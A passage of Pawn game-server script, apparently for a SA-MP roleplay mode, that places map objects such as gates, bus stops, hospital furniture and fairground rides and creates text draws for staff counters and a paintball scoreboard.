	CreateDynamicObject(7191, 1729.17505, -1568.82605, 1998.46887,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(7191, 1729.17273, -1568.84680, 1998.44885,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1729.17505, -1564.51587, 1998.46887,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(7191, 1729.17273, -1564.54626, 1998.44885,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1729.17273, -1560.31592, 1998.44885,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1729.17505, -1560.28528, 1998.46887,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(7191, 1729.17505, -1556.06409, 1998.46887,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(7191, 1729.17273, -1556.08545, 1998.44885,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1729.17273, -1551.80554, 1998.44885,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1729.17505, -1551.78284, 1998.46887,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(7191, 1729.17505, -1547.50330, 1998.46887,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(7191, 1729.17273, -1547.53394, 1998.44885,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1729.17273, -1543.27271, 1998.44885,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1729.17505, -1543.24182, 1998.46887,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(7191, 1729.10266, -1538.95190, 1998.44885,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1794.09277, -1560.24353, 1994.54736,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1794.09277, -1564.46790, 1994.56836,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(7191, 1794.09277, -1556.01331, 1994.54736,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1794.09277, -1560.23682, 1994.56836,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(7191, 1794.09277, -1551.75281, 1994.54736,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1794.09277, -1556.00537, 1994.56836,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(7191, 1794.09277, -1551.74414, 1994.56836,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(7191, 1794.09277, -1547.50208, 1994.54736,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1794.09277, -1543.25183, 1994.54736,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1794.09277, -1547.48352, 1994.56836,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(7191, 1729.10266, -1538.95190, 1994.55774,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1794.08398, -1538.95190, 1994.54736,   0.00000, 180.00000, 270.00000);
	CreateDynamicObject(7191, 1794.09277, -1543.24182, 1994.56836,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(7191, 1729.17590, -1547.52332, 1994.51770,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(7191, 1729.17273, -1543.27271, 1994.55774,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1729.17505, -1543.24182, 1994.51770,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(7191, 1729.17273, -1547.53394, 1994.55774,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1729.17273, -1551.80554, 1994.55774,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1729.17505, -1551.78284, 1994.51770,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(7191, 1729.17273, -1556.08545, 1994.55774,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1729.17505, -1556.06409, 1994.51770,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(7191, 1777.74475, -1555.70300, 1994.55725,   0.00000, 360.00000, 0.00000);
	CreateDynamicObject(7191, 1729.17273, -1560.31592, 1994.55774,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1729.17505, -1560.28528, 1994.51770,   180.00000, 0.00000, 270.00000);
	CreateDynamicObject(7191, 1777.74475, -1555.70300, 1998.45715,   0.00000, 360.00000, 0.00000);
	CreateDynamicObject(7191, 1794.09277, -1568.71924, 1994.56836,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(7191, 1794.09277, -1568.74463, 1994.54736,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1794.09277, -1573.00977, 1994.56836,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(7191, 1794.09277, -1573.01636, 1994.54736,   180.00000, 0.00000, 90.00000);
	CreateDynamicObject(7191, 1794.09277, -1577.30994, 1998.02844,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(7191, 1794.09277, -1577.30994, 1994.56836,   0.00000, 360.00000, 270.00000);
	CreateDynamicObject(7191, 1794.09277, -1564.47400, 1994.54736,   180.00000, 0.00000, 90.00000);
	//------------------------------------------RENT BOAT---------------------------------------
	CreateDynamicObject(10832,1605.13281250,624.76898193,11.56999969,0.00000000,0.00000000,90.00000000);
	//================[Farmer]========================================================--=-=-=-=-=-=-=-=-=-=-=-
	CreateDynamicObject(1497, -391.82327, -1438.38562, 25.28618,   0.00000, 0.00000, 268.99939);
	//----------PD
	CreateDynamicObject(994, 1544.722290, -1624.088867, 12.335902, 0.000000, 0.000000, 90.000000);
	CreateDynamicObject(994, 1544.722290, -1638.969604, 12.645908, 0.000000, 0.000000, 90.000000);
	CreateDynamicObject(994, 1544.722290, -1638.969604, 12.075894, 0.000000, 0.000000, 90.000000);
	CreateDynamicObject(5043, 1582.31396, -1637.86646, 13.62540,   0.00000, 0.00000, 90.00000);
	//-----------------[Area51]-----------------------
	CreateDynamicObject(8148, 321.682098, 1978.552612, 19.680612, 0.000000, 0.000000, 180.000000);
	area1gate1 = CreateDynamicObject(969, 321.321075, 1897.642333, 16.636323, 0.000000, 0.000000, 270.000000);
	area2gate1 = CreateDynamicObject(969, 321.321075, 1897.642333, 19.806344, 0.000000, 0.000000, 270.000000);
	area3gate1 = CreateDynamicObject(969, 321.321075, 1897.642333, 22.946380, 0.000000, 0.000000, 270.000000);
	CreateDynamicObject(8263, 321.133911, 1828.918579, 19.657361, 0.000000, 0.000000, 270.000000);
	CreateDynamicObject(8263, 260.983947, 1783.626831, 19.657361, 0.000000, 0.000000, 180.000000);
	CreateDynamicObject(8263, 141.214035, 1783.626831, 19.657361, 0.000000, 0.000000, 180.000000);
	CreateDynamicObject(8263, 80.974128, 1991.289306, 19.657360, 0.000000, 0.000000, 90.000000);
	CreateDynamicObject(8210, 80.973709, 1903.871093, 22.860824, 0.000000, 0.000000, 90.000000);
	area1gate2 = CreateDynamicObject(969, 81.349678, 1922.567382, 16.657611, 0.000000, 0.000000, 90.000000);
	area2gate2 = CreateDynamicObject(969, 81.349678, 1913.806518, 16.657611, 0.000000, 0.000000, 90.000000);
	CreateDynamicObject(8210, 80.973709, 1885.769897, 19.640825, 0.000000, 0.000000, 90.000000);
	CreateDynamicObject(8263, 80.974128, 1843.957519, 19.657360, 0.000000, 0.000000, 90.000000);
	CreateDynamicObject(8263, 80.974128, 2003.279907, 19.657360, 0.000000, 0.000000, 90.000000);
	area1gate3 = CreateDynamicObject(969, 81.348129, 2063.251464, 16.505308, 0.000000, 0.000000, 90.000000);
	area2gate3 = CreateDynamicObject(969, 81.348129, 2072.024902, 16.505308, 0.000000, 0.000000, 90.000000);
	CreateDynamicObject(8210, 80.973709, 2053.085205, 22.670820, 0.000000, 0.000000, 90.000000);
	CreateDynamicObject(8210, 80.973709, 2108.420166, 19.640825, 0.000000, 0.000000, 90.000000);
	CreateDynamicObject(8263, 141.124053, 2135.929931, 19.657361, 0.000000, 0.000000, 0.000000);
	CreateDynamicObject(8263, 261.404174, 2135.929931, 19.657361, 0.000000, 0.000000, 0.000000);
	CreateDynamicObject(8148, 321.682098, 2053.662597, 19.680612, 0.000000, 0.000000, 180.000000);
	CreateDynamicObject(8148, 321.682098, 2056.674316, 19.680612, 0.000000, 0.000000, 180.000000);
	CreateDynamicObject(2930, 246.226196, 1864.058715, 19.570304, 0.000000, 90.000000, 38.099994);
	CreateDynamicObject(2930, 246.855712, 1864.552978, 19.570297, 0.000000, 90.000000, 38.099994);
	CreateDynamicObject(19380, 267.916076, 1884.504760, 16.532947, 0.000000, 90.000000, 0.000000);
	//=======================[bus stops LS]======================
	CreateDynamicObject(1257, 1816.76709, -2092.02515, 13.79210,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(1257, 1937.95142, -2172.92017, 13.75861,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(1257, 2285.27173, -1666.45190, 15.29514,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(1257, 2450.54395, -1450.51050, 24.16921,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(1257, 2696.51196, -1664.05505, 12.60540,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(1257, 2464.31738, 333.18216, 32.05622,   0.00000, 0.00000, 77.14684);
	CreateDynamicObject(1257, 2336.96899, 114.45519, 26.57359,   0.00000, 0.00000, 178.93408);
	CreateDynamicObject(1257, 1322.88770, 241.79866, 19.61356,   0.00000, 0.00000, 66.32629);
	CreateDynamicObject(1257, 207.07170, -1377.32446, 49.91250,   4.00000, 0.00000, 314.37219);
	CreateDynamicObject(1257, 926.99487, -961.57080, 38.67452,   0.00000, 0.00000, 105.18301);
	CreateDynamicObject(1257, 790.50671, -1092.72095, 24.30330,   -2.00000, 0.00000, 180.00000);
	CreateDynamicObject(1257, 1188.89526, -1356.04565, 13.71177,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(1257, 1522.79871, -1629.17542, 13.68899,   0.00000, 0.00000, 180.00000);
	CreateDynamicObject(1257, 1788.62158, -1738.98743, 13.68582,   0.00000, 0.00000, 269.77814);
	CreateDynamicObject(1257, 2238.27637, -1756.51270, 13.79497,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(1257, 2350.26245, -1476.65527, 23.92711,   0.00000, 0.00000, 0.00000);
	//===========================[bus stops LV]=====================================
	CreateDynamicObject(1257, 2114.49292, 1941.07129, 10.88920,   0.00000, 0.00000, 179.94926);
	CreateDynamicObject(1257, 1920.32166, 1720.02258, 10.98305,   0.00000, 0.00000, 89.82372);
	CreateDynamicObject(1257, 170.77365, 1159.38806, 14.82946,   0.00000, 0.00000, 63.39722);
	CreateDynamicObject(1257, 2134.78589, 1365.54163, 11.07388,   0.00000, 0.00000, 270.03812);
	CreateDynamicObject(1257, 2557.03955, 1305.44629, 11.02295,   0.00000, 0.00000, 269.92487);
	///////////////////////////////////////////////////////////////////////////////////////
//  CreateDynamicObject(19458, 365.30042, -62.02403, 1004.60779,   0.00000, 90.00000, 269.00394);
//  CreateDynamicObject(19458, 365.28885, -61.92547, 1004.79681,   0.00000, 90.00000, 269.00394);
//  CreateDynamicObject(19458, 365.30042, -62.02403, 1004.91779,   0.00000, 90.00000, 269.00394);
	CreateDynamicObject(2942,1739.42907715,-1863.60400391,13.21771908,0.00000000,0.00000000,180.00000000); //object(kmb_atm1) (1)
	CreateDynamicObject(1340,1803.66345215,-1863.00000000,13.70374966,0.00000000,0.00000000,90.00000000); //object(chillidogcart) (1)
	//CreateDynamicObject(1341,1796.83776855,-1863.09997559,13.57850361,0.00000000,0.00000000,90.00000000); //object(icescart_prop) (1)
	CreateDynamicObject(2942,603.89001465,-1248.30200195,18.07040024,0.00000000,0.00000000,202.00000000); //object(kmb_atm1) (2)
	CreateDynamicObject(2942,2173.89990234,1417.50000000,10.70539951,0.00000000,0.00000000,270.00000000); //object(kmb_atm1) (1)
	CreateDynamicObject(1340,761.31323242,-1670.49377441,4.27147627,0.00000000,0.00000000,183.00000000); //object(chillidogcart) (2)
	//CreateDynamicObject(1341,761.98999023,-1678.82995605,4.11714745,0.00000000,0.00000000,181.00000000); //object(icescart_prop) (2)
	CreateDynamicObject(1340,1544.68994141,-1697.78222656,13.67446136,0.00000000,0.00000000,180.00000000); //object(chillidogcart) (3)
	//----------------------------------------------------------------------------------------
	CreateDynamicObject(1798,346.73440000,165.51530000,1013.18750000,0.00000000,0.00000000,270.00000000); // bed
	CreateDynamicObject(1798,346.73440000,163.01530000,1013.18750000,0.00000000,0.00000000,270.00000000); // bed
	CreateDynamicObject(1798,346.73440000,160.51530000,1013.18750000,0.00000000,0.00000000,270.00000000); // bed
	CreateDynamicObject(7927,345.70730000,157.30660000,1014.40750000,0.00000000,0.00000000,90.00000000); // wound hospital
	////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	barrierlv = CreateDynamicObject(968,2238.16210938,2450.41113281,10.71316910,0.00000000,90.00000000,90.00000000); //object(barrierturn) (1)
	barrierls = CreateDynamicObject(968,1544.69641113,-1630.79003906,13.00000000,0.00000000,89.00000000,90.00000000); //object(barrierturn) (2) -inchisa
	garagels = CreateDynamicObject(980,1588.38684082,-1638.21655273,13.69999981,0.00000000,0.00000000,0.00000000); //object(airportgate) (1) -LSPD Garage
	AreaGate = CreateDynamicObject(969, 209.79103, 1875.28442, 12.13354,   0.00000, 0.00000, 0.00000);
	garagelv = CreateDynamicObject(980,2335.28149414,2444.17993164,6.96999979,0.00000000,0.00000000,240.00000000); //object(airportgate) (2) -LVPD Garage
	garagelv1 = CreateDynamicObject(980,2294.00000000,2498.59155273,4.50000000,0.00000000,0.00000000,90.00000000); //object(airportgate) (3) -LVPD Garage
	//-------------------[EXAM]-----------------------
	CreateDynamicObject(10976, 1680.20654, -2173.97632, 12.88000,   0.00000, 0.00000, 179.89999);
	CreateDynamicObject(982, 1669.80164, -2162.75854, 13.21980,   0.00000, 0.00000, 89.90000);
	CreateDynamicObject(984, 1650.58826, -2162.75854, 13.17880,   0.00000, 0.00000, 89.90000);
	CreateDynamicObject(983, 1644.20105, -2162.75854, 13.21980,   0.00000, 0.00000, 89.90000);
	CreateDynamicObject(983, 1640.99902, -2165.93848, 13.21980,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(11015, 1632.15332, -2175.81396, 14.49490,   0.00000, 0.00000, 270.00000);
	CreateDynamicObject(1522, 1640.97278, -2178.13110, 12.58830,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(1522, 1623.37537, -2174.96240, 12.58830,   0.00000, 0.00000, 90.00000);
	//================[bus ls ]=================
	CreateDynamicObject(973, 1704.97754, -2072.78174, 13.56460,   0.00000, 0.00000, 90.00000);
	CreateDynamicObject(973, 1704.98584, -2072.77686, 13.56460,   0.00000, 0.00000, 270.00000);
	//Burgers---------------------------------------------------------------------------------
	CreateDynamicObject(2768,377.42333984,-66.50305939,1001.57128906,0.00000000,0.00000000,0.00000000); //object(cj_cb_burg) (1)
	CreateDynamicObject(2823,377.26834106,-66.73277283,1001.52899170,0.00000000,0.00000000,0.00000000); //object(gb_kitchtakeway01) (1)
	//CreateDynamicObject(1337,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000); //object(binnt07_la) (1)
	//LSPD HQ la arrest gates-----------------------------------------------------------------
	CreateDynamicObject(2930,266.38674927,83.82096863,1000.13000488,0.00000000,0.00000000,0.00000000); //object(chinatgate) (1)
	CreateDynamicObject(2930,266.38671875,83.82031250,1002.54998779,0.00000000,0.00000000,0.00000000); //object(chinatgate) (2)
	CreateDynamicObject(2930,266.39001465,88.32584381,1005.09997559,0.00000000,0.00000000,0.00000000); //object(chinatgate) (3)
	CreateDynamicObject(2930,266.39257812,88.32519531,1002.67590332,0.00000000,0.00000000,0.00000000); //object(chinatgate) (4)
	// Hospital down there--------------------------------------------------------------------
	CreateDynamicObject(14668,1172.08140000,-1323.23990000,1005.40280000,0.00000000,0.00000000,0.00000000); // 24/7
	CreateDynamicObject(3395,1184.06910000,-1317.06040000,1005.40280000,0.00000000,0.00000000,0.00000000); // operation pc
	CreateDynamicObject(3391,1184.06910000,-1321.06040000,1005.40280000,0.00000000,0.00000000,0.00000000); // operation pc
	CreateDynamicObject(3383,1180.76100000,-1318.17240000,1005.20280000,0.00000000,0.00000000,90.00000000); // operation bed
	CreateDynamicObject(2604,1180.45030000,-1330.66520000,1005.87280000,0.00000000,0.00000000,360.00000000); // registration pc
	CreateDynamicObject(2610,1176.92220000,-1332.31210000,1006.15280000,0.00000000,0.00000000,180.00000000); // registration files
	CreateDynamicObject(2202,1183.72350000,-1332.20640000,1005.40280000,0.00000000,0.00000000,180.00000000); // printer
	CreateDynamicObject(1797,1162.22660000,-1317.70130000,1005.40280000,0.00000000,0.00000000,0.00000000); // bed
	CreateDynamicObject(1797,1165.22660000,-1317.70130000,1005.40280000,0.00000000,0.00000000,0.00000000); // bed
	CreateDynamicObject(1797,1168.22660000,-1317.70130000,1005.40280000,0.00000000,0.00000000,0.00000000); // bed
	CreateDynamicObject(1797,1171.22660000,-1317.70130000,1005.40280000,0.00000000,0.00000000,0.00000000); // bed
	CreateDynamicObject(1797,1162.22660000,-1317.70130000,1005.40280000,0.00000000,0.00000000,180.00000000); // bed
	CreateDynamicObject(1797,1165.22660000,-1317.70130000,1005.40280000,0.00000000,0.00000000,180.00000000); // bed
	CreateDynamicObject(1797,1168.22660000,-1317.70130000,1005.40280000,0.00000000,0.00000000,180.00000000); // bed
	CreateDynamicObject(1797,1171.22660000,-1317.70130000,1005.40280000,0.00000000,0.00000000,180.00000000); // bed
	CreateDynamicObject(1726,1163.54140000,-1327.95950000,1005.40280000,0.00000000,0.00000000,90.00000000); // sofa
	CreateDynamicObject(1726,1167.54140000,-1327.95950000,1005.40280000,0.00000000,0.00000000,270.00000000); // sofa
	CreateDynamicObject(1726,1165.62340000,-1325.64870000,1005.40280000,0.00000000,0.00000000,0.00000000); // sofa
	//=--------------------------------------------------------------------------------------------------------=/
	CreateDynamicObject(1676, 999.12909, -937.74396, 42.98377,   0.00000, 0.00000, 8.05608);
	CreateDynamicObject(1676, 1001.97955, -937.36493, 42.98377,   0.00000, 0.00000, 8.05608);
	CreateDynamicObject(1676, 1006.00391, -936.82990, 42.98377,   0.00000, 0.00000, 8.05608);
	CreateDynamicObject(1676, 1009.19672, -936.45105, 42.98377,   0.00000, 0.00000, 8.05608);
	CreateDynamicObject(1497, -402.46393, -1420.55798, 25.39549,   0.00000, 0.00000, 0.00000);
	CreateDynamicObject(1497, -383.39468, -1438.11047, 25.31742,   0.00000, 0.00000, 271.15390);
	CreateDynamicObject(1497, -402.08197, -1432.69568, 25.32882,   0.00000, 0.00000, 0.00000);

    HelpmesTD = TextDrawCreate(53.750000, 306.583465, "Helpmes: ~g~0");
    TextDrawLetterSize(HelpmesTD, 0.400000, 1.600000);
    TextDrawAlignment(HelpmesTD, 1);
    TextDrawColor(HelpmesTD, 0x800000FF);
    TextDrawSetShadow(HelpmesTD, 0);
    TextDrawSetOutline(HelpmesTD, 0);
    TextDrawBackgroundColor(HelpmesTD, 255);
    TextDrawFont(HelpmesTD, 1);
    TextDrawSetProportional(HelpmesTD, 1);

    ReportsTD = TextDrawCreate(55.000000, 293.750091, "Reports: ~g~0");
    TextDrawLetterSize(ReportsTD, 0.400000, 1.600000);
    TextDrawAlignment(ReportsTD, 1);
    TextDrawColor(ReportsTD, 0x800000FF);
    TextDrawSetShadow(ReportsTD, 0);
    TextDrawSetOutline(ReportsTD, 0);
    TextDrawBackgroundColor(ReportsTD, 255);
    TextDrawFont(ReportsTD, 1);
    TextDrawSetProportional(ReportsTD, 1);

  	PaintBox = TextDrawCreate(488.750000, 171.333343, "_");
	TextDrawLetterSize(PaintBox, 0.384375, 16.451665);
	TextDrawTextSize(PaintBox, 626.000000, 0.000000);
	TextDrawAlignment(PaintBox, 1);
	TextDrawColor(PaintBox, -1);
	TextDrawUseBox(PaintBox, 1);
	TextDrawBoxColor(PaintBox, 88);
	TextDrawSetShadow(PaintBox, 0);
	TextDrawSetOutline(PaintBox, 0);
	TextDrawBackgroundColor(PaintBox, 255);
	TextDrawFont(PaintBox, 1);
	TextDrawSetProportional(PaintBox, 1);
	TextDrawSetShadow(PaintBox, 0);

	PaintBKiller = TextDrawCreate(516.250000, 230.250015, "Best Killer");
	TextDrawLetterSize(PaintBKiller, 0.400000, 1.600000);
	TextDrawAlignment(PaintBKiller, 1);
	TextDrawColor(PaintBKiller, -1);
	TextDrawSetShadow(PaintBKiller, 1);
	TextDrawSetOutline(PaintBKiller, 0);
	TextDrawBackgroundColor(PaintBKiller, 255);
	TextDrawFont(PaintBKiller, 3);
	TextDrawSetProportional(PaintBKiller, 1);
	TextDrawSetShadow(PaintBKiller, 1);

	PaintMostKills = TextDrawCreate(495.625000, 265.249938, "Most Kills_________0");
	TextDrawLetterSize(PaintMostKills, 0.303750, 1.314166);
	TextDrawAlignment(PaintMostKills, 1);
	TextDrawColor(PaintMostKills, -1);
	TextDrawSetShadow(PaintMostKills, 1);
	TextDrawSetOutline(PaintMostKills, 0);
	TextDrawBackgroundColor(PaintMostKills, 255);
	TextDrawFont(PaintMostKills, 3);
	TextDrawSetProportional(PaintMostKills, 1);
	TextDrawSetShadow(PaintMostKills, 1);

	PaintName = TextDrawCreate(554.375000, 247.750015, "Name");
	TextDrawLetterSize(PaintName, 0.308124, 1.413332);
	TextDrawAlignment(PaintName, 2);
	TextDrawColor(PaintName, -2139062017);
	TextDrawSetShadow(PaintName, 1);
	TextDrawSetOutline(PaintName, 0);
	TextDrawBackgroundColor(PaintName, 255);
	TextDrawFont(PaintName, 2);
	TextDrawSetProportional(PaintName, 1);
	TextDrawSetShadow(PaintName, 1);

	PaintTime = TextDrawCreate(510.000000, 286.250183, "Paintball Time");
	TextDrawLetterSize(PaintTime, 0.354999, 1.757496);
	TextDrawAlignment(PaintTime, 1);
	TextDrawColor(PaintTime, -1);
	TextDrawSetShadow(PaintTime, 1);
	TextDrawSetOutline(PaintTime, 0);
	TextDrawBackgroundColor(PaintTime, 255);
	TextDrawFont(PaintTime, 3);
	TextDrawSetProportional(PaintTime, 1);
	TextDrawSetShadow(PaintTime, 1);

	PaintKhodeTime = TextDrawCreate(518.750000, 301.999938, "00:00:00");
	TextDrawLetterSize(PaintKhodeTime, 0.358124, 1.314165);
	TextDrawAlignment(PaintKhodeTime, 1);
	TextDrawColor(PaintKhodeTime, -1);
	TextDrawSetShadow(PaintKhodeTime, 1);
	TextDrawSetOutline(PaintKhodeTime, 0);
	TextDrawBackgroundColor(PaintKhodeTime, 255);
	TextDrawFont(PaintKhodeTime, 2);
	TextDrawSetProportional(PaintKhodeTime, 1);
	TextDrawSetShadow(PaintKhodeTime, 1);
	
	//Carousel
	/*
	Carousel_Unused[0] = CreateObject(18765, 907.59454, -1876.77051, 4.98010,   0.00000, 0.00000, 0.00000);
	Carousel_Unused[1] = CreateObject(18765, 897.59448, -1876.77051, 4.98010,   0.00000, 0.00000, 0.00000);
	Carousel_Unused[2] = CreateObject(18765, 917.59448, -1876.77051, 4.98010,   0.00000, 0.00000, 0.00000);
	Carousel_Unused[3] = CreateObject(18765, 907.59448, -1886.77051, 4.98010,   0.00000, 0.00000, 0.00000);
	Carousel_Unused[4] = CreateObject(18765, 917.59448, -1886.77051, 4.98010,   0.00000, 0.00000, 0.00000);
	Carousel_Unused[5] = CreateObject(18765, 897.59448, -1886.77051, 4.98010,   0.00000, 0.00000, 0.00000);
	Carousel_Unused[6] = CreateObject(18765, 917.59448, -1866.77051, 4.98010,   0.00000, 0.00000, 0.00000);
	Carousel_Unused[7] = CreateObject(18765, 907.59448, -1866.77051, 4.98010,   0.00000, 0.00000, 0.00000);
	Carousel_Unused[8] = CreateObject(18765, 897.59448, -1866.77051, 4.98010,   0.00000, 0.00000, 0.00000);
	Carousel_Unused[9] = CreateObject(18765, 897.59448, -1886.77051, 0.02220,   0.00000, 0.00000, 0.00000);
	Carousel_Unused[10] = CreateObject(18765, 907.59448, -1886.77051, 0.02220,   0.00000, 0.00000, 0.00000);
	Carousel_Unused[11] = CreateObject(18765, 917.59448, -1886.77051, 0.02220,   0.00000, 0.00000, 0.00000);
	for(new i = 0; i != 12; i++) SetObjectMaterial(Carousel_Unused[i], 0, 18646, "MatColours", "green");

	Carousel_Base = CreateObject(19278, 907.63007, -1877.14453, -35.72582,   0.00000, 0.00000, 0.00000);
	Carousel_Base2 = CreateObject(19278, 907.63007, -1877.14453, -41.37026,   0.00000, 0.00000, 0.00000);
	AttachObjectToObject(Carousel_Base2, Carousel_Base, 0, 0, -5.6445, 0, 0, 0);
	Carousel_Seats[0] = CreateObject(16442, 908.34973, -1872.45020, 10.02538,   0.00000, 0.00000, 0.00000);
	AttachObjectToObject(Carousel_Seats[0], Carousel_Base, 0.7196, 4.6943, 45.7512, 0, 0, 0);
	Carousel_Seats[1] = CreateObject(16442, 908.34967, -1881.45020, 10.02540,   0.00000, 0.00000, 180.00000);
	AttachObjectToObject(Carousel_Seats[1], Carousel_Base, -0.7196, -4.6943, 45.7512, 0, 0, 180);
	Carousel_Seats[2] = CreateObject(16442, 912.34967, -1876.95020, 10.02540,   0.00000, 0.00000, -90.00000);
	AttachObjectToObject(Carousel_Seats[2], Carousel_Base, 4.6943, 0.7196, 45.7512, 0, 0, -90);
	Carousel_Seats[3] = CreateObject(16442, 902.84967, -1876.95020, 10.02540,   0.00000, 0.00000, 90.00000);
	AttachObjectToObject(Carousel_Seats[3], Carousel_Base, -4.6943, -0.7196, 45.7512, 0, 0, 90);
	*/
	//Carousel



	//Observer
	CreateObject(18763, 811.57709, -1879.37842, 3.59470,   0.00000, 0.00000, 0.00000);
	CreateObject(19278, 811.50995, -1879.43152, -41.69551,   0.00000, 0.00000, 0.00000);
	CreateObject(18763, 808.57709, -1879.37842, 3.59470,   0.00000, 0.00000, 0.00000);
	CreateObject(18763, 808.57709, -1882.37842, 3.59470,   0.00000, 0.00000, 0.00000);
	CreateObject(18763, 811.57709, -1882.37842, 3.59470,   0.00000, 0.00000, 0.00000);
	CreateObject(18763, 814.57709, -1879.37842, 3.59470,   0.00000, 0.00000, 0.00000);
	CreateObject(18763, 814.57709, -1882.37842, 3.59470,   0.00000, 0.00000, 0.00000);
	CreateObject(18763, 808.57709, -1876.37842, 3.59470,   0.00000, 0.00000, 0.00000);
	CreateObject(18763, 811.57709, -1876.37842, 3.59470,   0.00000, 0.00000, 0.00000);
	CreateObject(18763, 814.57709, -1876.37842, 3.59470,   0.00000, 0.00000, 0.00000);
	CreateObject(8615, 814.54871, -1872.88013, 6.15357,   0.00000, 0.00000, 180.00000);
	CreateObject(18980, 801.97620, -1879.02612, -4.13480,   0.00000, 20.00000, 0.00000);
	CreateObject(18980, 811.60822, -1888.93835, -4.13480,   0.00000, 20.00000, 90.00000);
	CreateObject(18980, 821.15430, -1879.26160, -4.13480,   0.00000, 20.00000, 180.00000);
	CreateObject(18980, 811.28381, -1869.85706, -4.13480,   0.00000, 20.00000, -90.00000);

	Observer_Base = CreateObject(19278, 811.50995, -1879.43152, -38.23802,   0.00000, 0.00000, 0.00000);
	Observer_Seats[0] = CreateObject(19316, 809.98859, -1882.72485, 10.99730,   0.00000, 0.00000, 0.00000);
	AttachObjectToObject(Observer_Seats[0], Observer_Base, -1.5213, -3.2934, 49.2353, 0, 0, 0, 1);
	Observer_Seats[1] = CreateObject(19316, 812.98859, -1876.22485, 10.99730,   0.00000, 0.00000, 180.00000);
	AttachObjectToObject(Observer_Seats[1], Observer_Base, 1.5213, 3.2934, 49.2353, 0, 0, 180, 1);
	//Observer

	//FerrisWheel
	CreateObject(18878, 844.54, -2033.57, 27.11,   0.00, 0.00, 90.00);
	FerrisWheel_Base = CreateObject(18877, 844.53, -2033.59, 27.11,   0.00, 0.00, 90.00);
	FerrisWheel_Seats[0] = CreateObject(19316, 0.00, 0.00, 0.00, 	0.00, 0.00, 0.00);
	AttachObjectToObject(FerrisWheel_Seats[0], FerrisWheel_Base, 0.0699, 0.0600, -11.7500, 0.0000, 0.0000, 90.0000, 0);
	FerrisWheel_Seats[1] = CreateObject(19316, 0.00, 0.00, 0.00, 	0.00, 0.00, 0.00);
	AttachObjectToObject(FerrisWheel_Seats[1], FerrisWheel_Base, -6.9100, -0.0899, -9.5000, 0.0000, 0.0000, 90.0000, 0);
	FerrisWheel_Seats[2] = CreateObject(19316, 0.00, 0.00, 0.00, 	0.00, 0.00, 0.00);
	AttachObjectToObject(FerrisWheel_Seats[2], FerrisWheel_Base, 11.1600, 0.0000, -3.6300, 0.0000, 0.0000, 90.0000, 0);
	FerrisWheel_Seats[3] = CreateObject(19316, 0.00, 0.00, 0.00, 	0.00, 0.00, 0.00);
	AttachObjectToObject(FerrisWheel_Seats[3], FerrisWheel_Base, -11.1600, -0.0399, 3.6499, 0.0000, 0.0000, 90.0000, 0);
	FerrisWheel_Seats[4] = CreateObject(19316, 0.00, 0.00, 0.00, 	0.00, 0.00, 0.00);
	AttachObjectToObject(FerrisWheel_Seats[4], FerrisWheel_Base, -6.9100, -0.0899, 9.4799, 0.0000, 0.0000, 90.0000, 0);
	FerrisWheel_Seats[5] = CreateObject(19316, 0.00, 0.00, 0.00, 	0.00, 0.00, 0.00);
	AttachObjectToObject(FerrisWheel_Seats[5], FerrisWheel_Base, 0.0699, 0.0600, 11.7500, 0.0000, 0.0000, 90.0000, 0);
	FerrisWheel_Seats[6] = CreateObject(19316, 0.00, 0.00, 0.00, 	0.00, 0.00, 0.00);
	AttachObjectToObject(FerrisWheel_Seats[6], FerrisWheel_Base, 6.9599, 0.0100, -9.5000, 0.0000, 0.0000, 90.0000, 0);
	FerrisWheel_Seats[7] = CreateObject(19316, 0.00, 0.00, 0.00, 	0.00, 0.00, 0.00);
